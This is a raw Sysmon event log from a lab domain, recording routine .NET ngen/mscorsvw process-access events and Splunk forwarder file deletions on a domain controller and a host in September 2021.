14:45:26.211{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-980A-00000000F001}5944C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.180{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-970A-00000000F001}5656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.164{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-970A-00000000F001}5656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.164{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-970A-00000000F001}5656C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.133{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-960A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.117{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-960A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.117{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-960A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.102{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E1AAE35ABAA171217E10D53C164D26F9,SHA256=6337782127F81E9D679BC72508F5470192D11729BCAC2F66028F0703CBAEC70A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.102{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8295DAEAD3BC57267360D6ECDFB673CA,SHA256=6A946078B9B43EDE3D1959A424AEAD04717A1A7BFC5B9FDE85AE20D2879AA8FF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-950A-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.071{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-950A-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.071{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-950A-00000000F001}6588C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.039{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F86-613B-940A-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.024{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F86-613B-940A-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:26.024{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F86-613B-940A-00000000F001}4556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014010Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:27.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2EFCD5E6882FB0BC5FDCCD1508889342,SHA256=0B3F2BF2AFD6AA6F62A9816B15E5546FD2AD1A4826570B790521DC03A2B02B6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.992{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F13498B4489C625B9D5041B515FD2B61,SHA256=B99D63B88CD446E2D43E1A1EFDA3B34E19F066DC0DEDF83F627A8B6CA5585321,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.992{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-AE0A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.977{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-AE0A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.977{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-AE0A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.946{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-AD0A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.915{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-AD0A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.915{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F87-613B-AD0A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.867{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F87-613B-AC0A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:27.852{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F87-613B-AC0A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 